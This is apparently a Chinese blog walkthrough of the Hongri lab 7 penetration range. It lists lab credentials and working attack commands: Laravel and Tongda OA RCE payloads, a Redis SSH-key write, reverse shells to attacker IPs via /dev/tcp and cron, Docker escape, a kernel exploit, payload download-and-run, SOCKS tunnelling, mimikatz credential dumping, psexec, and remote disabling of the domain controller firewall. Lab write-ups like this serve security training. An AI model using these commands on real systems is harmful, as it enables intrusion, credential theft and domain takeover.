红日靶场7

【密码:

ubuntu1:web web2021

ubuntu2:ubuntu ubuntu

win7_1:bunny Bunny2021

win7_2:moretz Moretz2021

dc:Administrator Whoami2021

【ip:

本机:  192.168.1.101

kali:   192.168.1.102

web1:192.168.1.103    192.168.52.10

web2:     192.168.93.10  192.168.52.20

win7_1:  192.168.93.20  192.168.52.30

win2012:192.168.93.30

win7_2:  192.168.93.40

渗透过程概述:

1、信息收集-->getshell-->redis未授权访问漏洞获取web1.root权限

81端口网站有漏洞,利用exp执行下载shell.php,蚁剑连接,发现是docker,

利用redis未授权漏洞,ssh连接web1,获得root权限,查看nginx端口配置文件,发现做了反向代理,

2、web2.docker特权模式逃逸,cve-2021-3493内核漏洞提权web2

把web1作为跳板机,web1开启nc监听web2.docker.www的bash反弹shell。

web2提权:先docker内suid提权到docker.root,web1开启nc监听,docker.root执行bash反弹shell,

然后docker特权模式逃逸,mount挂载宿主机磁盘设备,访问root目录,查看home用户ubuntu,

将web1.root模式生成的ssh密钥写入web2.home.ubuntu.ssh的目录,ssh连接web2,获取web2.ubuntu用户权限,

cve-2021-3493内核漏洞 提权到web2.root。

3、web1、web2上线msf-->内网渗透,利用通达OA漏洞上线win7 pc1-->psexec模块上线pc2-->psexec上线域控

内网渗透:msf.reverse_tcp上线web1.root,添加路由,upload reverse.elf到web1.tmp,web1开启http

下载服务供web2下载执行木马,上线web2。udp_sweep扫描存活主机pc1,nbname扫描域,kali设置ew代理访问pc1,

发现pc1.通达OA版本11.3存在漏洞,任意用户登陆进后台,文件上传+rce漏洞,执行msf.web_delivery的payload,

上线pc1.system。migrate迁移进程x64,kiwi抓域管账号密码。kali,web1,pc1二次设置ew代理,udp_sweep扫描主机,

使用msf.psexec先上线pc2,域控开了防火墙,上线失败。解决方案:pc1与域控建立ipc连接,使用sc远程在域控上创建服务,

关闭域控防火墙,再次使用psexec上线域控。


启动靶机服务

1.1  web1配置

1.1.1 先查看服务是否启动

ps -C nginx -o pid ------查看nginx启动,已启动

ps aux | grep redis-server ------查看redis启动

1.1.2 启动服务

sudo redis-server /etc/redis.conf ------root权限启动redis服务,为未授权访问漏洞准备前提条件

【sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf ------启动nginx服务

sudo nginx -s stop -----解决端口占用的问题】

1.1.3 sudo iptables -F

1.2  web2配置

sudo docker ps -a ------查看所有docker容器状态

sudo service docker start ------启动docker服务

sudo docker start  8e172820ac78 ------启动容器

1、信息收集

1.1 端口扫描

nmap -T4 -sC -sV 192.168.1.103

1.2 访问81端口收集Laravel cms版本号等信息

1.3 6379端口开启了redis服务

2、漏洞挖掘

2.1 Laravel cms存在RCE远程代码执行漏洞 CVE-2021-3129

2.2 redis未授权访问漏洞

3、漏洞利用

3.1 利用Laravel RCE漏洞getshell

3.1.1 远程下载shell文本到靶机,重命名并增加权限。

python3 exploit.py http://192.168.1.103:81/ "curl http://192.168.1.102:80/shell.txt -o shell.php | chomd 777 ./shell.php"  

shell地址:

http://192.168.1.103:81/shell.php

3.1.2 信息收集,确定docker环境

whoami

id

hostname

cat /etc/hosts

cat /proc/self/cgroup

发现是172内网段,docker环境        

3.1.3 尝试反弹shell到kali,nc、msf没反应,判断为不出网

3.2 Redis未授权访问漏洞(前提:以root权限启动)

3.2.0 漏洞的产生条件:

(1)redis绑定在 0.0.0.0:6379,且没有添加防火墙规则,避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务

3.2.1 redis-cli免密连接redis 成功,存在未授权访问

redis-cli -h 192.168.1.103

192.168.1.103:6379> info

3.2.2 写入公钥

 ssh-keygen -t rsa  ---生成公钥

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt     ---将公钥导入foo.txt 文件 (前后用\n换行,避免和Redis里其他缓存数据混合)

cat foo.txt | redis-cli -h 192.168.0.102 -p 6379 -x set hello   ---将foo.txt文件内容(公钥)写入目标主机Redis缓冲中

(-x 代表从标准输入(stdin)读取数据作为redis-cli的一个参数,例如将foo.txt文件内容 作为set hello的值)

3.2.3 将ssh公钥写入目标主机,ssh连接,获取root权限

config set dir /root/.ssh  --设置redis的备份路径为 /root/.ssh

config set dbfilename authorized_keys  ---设置保存文件名为authorized_keys

save  ---保存数据

exit

ssh 192.168.0.102  ---ssh连接目标主机web1,此后可以每次直接使用ssh连接

4、提权【redis未授权访问,无需提权】

5、内网渗透【docker逃逸,web2渗透】

5.1 web1信息收集

5.1.1 ifconfig 发现存在52网段

5.1.2 查看nginx端口配置文件,发现做了反向代理web2

5.2 docker 环境变量提权

5.2.1 docker反弹shell到web1

5.2.2 find带有SUID属性的文件

find / -perm -u=s -type f 2>/dev/null  或

find / -user root -perm -4000 -print 2>/dev/null

5.2.3 执行home/jobs下的shell可疑文件

5.2.4 查看demo.c可疑文件内容,该脚本执行了PS命令,且未使用绝对路径

5.2.5 更改$PATH来执行恶意程序,从而获得目标主机的高权限shell

cd /tmp  ---tmp目录可任意读写

echo "/bin/bash"  > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH  ---将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

(echo $PATH  ---  /tmp:/usr/local/sbin:/usr/local/bin:。。。)

cd /home/jobs

./shell  --- 执行shell,执行ps命令,ps命令被tmp目录里重写了,等同于执行tmp目录里的ps程序,及bash命令。成功获取docker root权限   

 bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1239 <&1'  ---把shell再反弹到web1中,以root权限操作docker

5.3 docker特权模式逃逸

5.3.1 原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

(特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限)

(当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令)

5.3.2 漏洞利用,查看磁盘、设备

fdisk -l ------查看磁盘文件

ls /dev ------查看设备文件

5.3.3 将磁盘/dev/sda1挂载到文件夹

cd / ------切换到home目录

mkdir hello ------创建文件夹(rmdir hello 删除文件夹)

mount /dev/sda1 /hello ------挂载(umount /dev/sda1  取消挂载)

ls /hello ------查看是否 挂载成功

5.3.4 写入计划,执行失败

echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/1233 0>&1' >> /hello/var/spool/cron/crontabs/root (还是 /hello/var/spool/cron/root  ?)

5.3.5 将web1 生成的公钥写入web2,ssh连接,获取web2普通用户

5.3.5.1 换思路:能否访问root目录 或 查看home有没有用户

发现有ubuntu用户,so 将web1 root模式下生成的ssh公钥写入到 /hello/home/ubuntu/.ssh/authorized_keys 文件,写入成功之后,web1 root模式用公钥ssh连接 web2

5.3.5.2  web1生成ssh公钥

ssh-keygen -f hello ------ 输出到hello.pub文件

chmod 600 hello -------赋予权限

5.3.5.3  docker.root处理authorized_keys文件

cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub   /hello/home/ubuntu/.ssh/authorized_keys           ------  -avx  将权限也一起复制

echo >/hello/home/ubuntu/.ssh/authorized_keys   ------清空authorized_keys文件

echo 'web1生成的hello.pub公钥文件内容' > /hello/home/ubuntu/.ssh/authorized_keys  ------ 将公钥写入authorized_keys文件

cat  /hello/home/ubuntu/.ssh/authorized_keys ------查看是否写入成功

5.3.5.4  web1 使用私钥连接到web2,获取web2普通用户ubuntu,docker逃逸成功

ssh -i hello ubuntu@192.168.52.20

5.4 CVE-2021-3493 linux内核漏洞提权

5.4.1 docker 逃逸前后,发现系统版本不一致

5.4.2 利用 CVE-2021-3493 内核漏洞 提权

cd /tmp   --- tmp目录 可任意读写

ls

vim exploit.c   ---复制粘贴代码到vim编辑器,保存(按ESC:wq! 保存)

gcc exploit.c -o exploit   ---编译

ls

chmod +x exploit  ---增加执行权限

./exploit   ---执行,利用exp成功提权到root

6、横向移动【pc1渗透】

6.1 web1、web2上线

6.1.1 先上线通过Redis未授权访问漏洞拿到的web1主机

msf生成wget链接,web1以root权限执行wget链接后,web1成功上线

6.1.2 web2上线msf

6.1.2.1 添加路由

run post/multi/manage/autoroute  

6.1.2.2 web1安装有python3,可开启http下载服务。把kali生成的木马20.elf上传到web1,供web2下载并运行木马

6.1.2.3 msf 生成正向连接后门,并上传到web1的tmp目录

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=2020 -f elf > 20.elf   

6.1.2.4 在web1的tmp目录下开启http下载服务,web2 下载并运行木马

python3 -m http.server

wget http://192.168.52.10:8000/20.elf;chmod +x 20.elf;./20.elf

6.2 信息收集

6.2.1 主机发现

6.2.1.1 udp_sweep模块扫描52段,发现pc1 ----- 关闭防火墙,否则扫不到

6.2.1.2 扫描93段,发现dc、pc2

6.2.1.3 nbname模块 扫描域

use auxiliary/scanner/netbios/nbname

6.2.2 设置代理

6.2.2.1 kali设置ew代理

nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &

vim /etc/proxychains.conf   

socks5 127.0.0.1 1080    ----- 禁用socks4

6.2.2.2 web1设置ew代理

chmod +x ./ew_for_linux64    ------- 增加执行权限

nohup ./ew_for_linux64 -s rssocks -d 192.168.0.102 -e 1234 &

6.2.3 端口扫描

6.3 通达OA漏洞利用(任意用户登录+RCE漏洞,获取system权限)

6.3.1 任意用户登录,进后台

6.3.1.1 http://192.168.52.30:8080    登录时抓包

6.3.1.2 修改三个地方

1、改成 logincheck_code.php

2 删除cookie

3 post参数添加 &UID=1

6.3.1.3 用获取的sessionID访问   /general/index.php 直接进后台

6.3.2 任意文件上传漏洞 /ispirit/im/upload.php

6.3.2.1 自写 upload.html 上传页面

6.3.2.2 自写 shell.png 图片

6.3.2.3 上传成功,图片保存路径  2203/506471717.shell.png

6.3.3 RCE漏洞,利用文件包含漏洞,包含上传的shell图片马

6.3.3.1 RCE漏洞验证

此gateway.php 的Request 内容,可在burp里永远重复使用

http://192.168.0.104:8080/ispirit/interface/gateway.php

json={"url":"/general/../../attach/im/2203/506471717.shell.png"}&cmd=whoami

6.3.3.2 msf 使用web_delivery模块生成powershell payload

set payload windows/meterpreter/reverse_tcp

6.3.3.3  赋值给post的参数cmd执行,即可得到meterpreter

6.4 上线msf

6.5 kiwi 获取明文密码

ps

migrate

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

得到域管理员、域用户 的账号密码

6、横向移动【pc2渗透】

6.1 设置代理

路由转发只能将msf带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。使用earthworm搭建一个二级socks5代理服务

6.1.1 kali设置ew代理

使kali能访问内网93段    二次代理 打入内网域控

kali添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口

nohup ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 &   

ps -ef |grep ew     

修改配置 proxychains.conf  

socks5 127.0.0.1 1090    ----- 禁用socks4。。。

proxychains等代理工具,通过访问kali的1090端口来使用 架设在第二层网络Windows主机上的socks代理服务,来进入第三层网络

6.1.2 pc1设置ew代理

把ew_for_win.exe上传到pc1,利用ssocksd方式启动999端口的正向socks代理

start /min ew_for_Win.exe -s ssocksd -l 999

6.1.3 web1设置ew代理

web1 做中间桥梁 ,利用lcx_slave方式,将kali的1235端口与第二层网络pc1的999端口连接起来

./ew_for_linux64 -s lcx_slave -d 192.168.1.102 -e 1235 -f 192.168.52.30 -g 999

6.2 用域管理员账号密码 先上线pc2  

setg Proxies socks5:127.0.0.1:1090

use exploit/windows/smb/psexec

set SMBUser Administrator

set SMBPass Whoami2021

set smbdomain whoamianony

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.93.40

run

6、横向移动【dc渗透】

6.1 psexec 模块上线域控失败,因为开了防火墙

set rhost 192.168.93.30  域控上线失败

6.2 域控上线 解决办法:

6.2.1 让pc1与域控建立ipc连接

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

net use

6.2.2 使用sc远程 在域控制器(192.168.93.30)上创建 服务,关闭防火墙

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"  

sc \\192.168.93.30 start unablefirewall

6.2.3 使用 exploit/windows/smb/psexec 模块再次尝试执行,可成功上线msf

7、权限维持

8、痕迹清理

9、总结

posted @ 2023-03-23 13:41  hello_bao  阅读(1469)  评论(0)    收藏  举报